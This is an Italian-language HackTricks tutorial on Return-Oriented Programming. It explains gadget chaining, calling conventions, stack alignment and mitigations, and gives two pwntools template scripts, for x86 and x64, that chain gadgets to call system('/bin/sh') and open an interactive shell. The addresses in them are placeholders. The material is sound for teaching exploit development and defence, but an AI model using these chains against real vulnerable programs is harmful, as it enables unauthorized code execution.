ROP - Return Oriented Programing

Reading time: 9 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Informazioni di Base

Return-Oriented Programming (ROP) è una tecnica di sfruttamento avanzata utilizzata per eludere misure di sicurezza come No-Execute (NX) o Data Execution Prevention (DEP). Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come "gadgets". Ogni gadget termina tipicamente con un'istruzione ret e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Collegando insieme questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, eludendo efficacemente le protezioni NX/DEP.

Come Funziona ROP

  1. Dirottamento del Flusso di Controllo: Prima, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
  2. Collegamento dei Gadget: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la configurazione degli argomenti per una chiamata di funzione, chiamare la funzione (ad esempio, system("/bin/sh")), e gestire eventuali operazioni di pulizia o aggiuntive necessarie.
  3. Esecuzione del Payload: Quando la funzione vulnerabile restituisce, invece di tornare a una posizione legittima, inizia a eseguire la catena di gadget.

Strumenti

Tipicamente, i gadget possono essere trovati utilizzando ROPgadget, ropper o direttamente da pwntools (ROP).

Esempio di Catena ROP in x86

Convenzioni di Chiamata x86 (32-bit)

  • cdecl: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). Gli argomenti vengono spinti nello stack da destra a sinistra.
  • stdcall: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack.

Trovare Gadget

Prima, assumiamo di aver identificato i gadget necessari all'interno del binario o delle sue librerie caricate. I gadget di nostro interesse sono:

  • pop eax; ret: Questo gadget estrae il valore superiore dello stack nel registro EAX e poi restituisce, permettendoci di controllare EAX.
  • pop ebx; ret: Simile a quello sopra, ma per il registro EBX, abilitando il controllo su EBX.
  • mov [ebx], eax; ret: Sposta il valore in EAX nella posizione di memoria puntata da EBX e poi restituisce. Questo è spesso chiamato un write-what-where gadget.
  • Inoltre, abbiamo l'indirizzo della funzione system() disponibile.

Catena ROP

Utilizzando pwntools, prepariamo lo stack per l'esecuzione della catena ROP come segue, mirando a eseguire system('/bin/sh'), nota come la catena inizia con:

  1. Un'istruzione ret per scopi di allineamento (opzionale)
  2. Indirizzo della funzione system (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in Ret2lib)
  3. Segnaposto per l'indirizzo di ritorno da system()
  4. Indirizzo della stringa "/bin/sh" (parametro per la funzione system)
python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Utilizza la System V AMD64 ABI calling convention sui sistemi simili a Unix, dove i primi sei argomenti interi o puntatori vengono passati nei registri RDI, RSI, RDX, RCX, R8 e R9. Argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno è posizionato in RAX.
  • La calling convention Windows x64 utilizza RCX, RDX, R8 e R9 per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno è posizionato in RAX.
  • Registri: i registri a 64 bit includono RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP e R8 a R15.

Finding Gadgets

Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro RDI (per passare la stringa "/bin/sh" come argomento a system()) e poi chiamare la funzione system(). Assumeremo di aver identificato i seguenti gadget:

  • pop rdi; ret: Estrae il valore superiore dello stack in RDI e poi restituisce. Essenziale per impostare il nostro argomento per system().
  • ret: Un semplice ritorno, utile per l'allineamento dello stack in alcune situazioni.

E sappiamo l'indirizzo della funzione system().

ROP Chain

Di seguito è riportato un esempio che utilizza pwntools per impostare ed eseguire una ROP chain mirata a eseguire system('/bin/sh') su x64:

python
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In questo esempio:

  • Utilizziamo il gadget pop rdi; ret per impostare RDI all'indirizzo di "/bin/sh".
  • Saltiamo direttamente a system() dopo aver impostato RDI, con l'indirizzo di system() nella catena.
  • ret_gadget è utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in x64 per garantire un corretto allineamento dello stack prima di chiamare le funzioni.

Allineamento dello Stack

L'ABI x86-64 garantisce che lo stack sia allineato a 16 byte quando viene eseguita un'istruzione di chiamata. LIBC, per ottimizzare le prestazioni, utilizza istruzioni SSE (come movaps) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che RSP non è un multiplo di 16), le chiamate a funzioni come system falliranno in una catena ROP. Per risolvere questo problema, basta aggiungere un gadget ret prima di chiamare system nella tua catena ROP.

Differenza principale tra x86 e x64

tip

Poiché x64 utilizza registri per i primi pochi argomenti, richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi nell'architettura x64 offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).

Esempio di catena ROP in ARM64

Nozioni di base ARM64 e convenzioni di chiamata

Controlla la seguente pagina per queste informazioni:

{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Protezioni contro ROP

  • ASLR & PIE: Queste protezioni rendono più difficile l'uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
  • Stack Canaries: In caso di un BOF, è necessario bypassare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
  • Mancanza di Gadget: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP.

Tecniche basate su ROP

Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basato su ROP, sono state sviluppate molte tecniche Ret2XXX:

  • Ret2lib: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come system('/bin/sh').

{{#ref}} ret2lib/ {{#endref}}

  • Ret2Syscall: Usa ROP per preparare una chiamata a una syscall, ad esempio execve, e far eseguire comandi arbitrari.

{{#ref}} rop-syscall-execv/ {{#endref}}

  • EBP2Ret & EBP Chaining: Il primo abuserà di EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib, ma in questo caso il flusso è controllato principalmente con indirizzi EBP (anche se è necessario controllare EIP).

{{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}}

Altri Esempi e Riferimenti

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks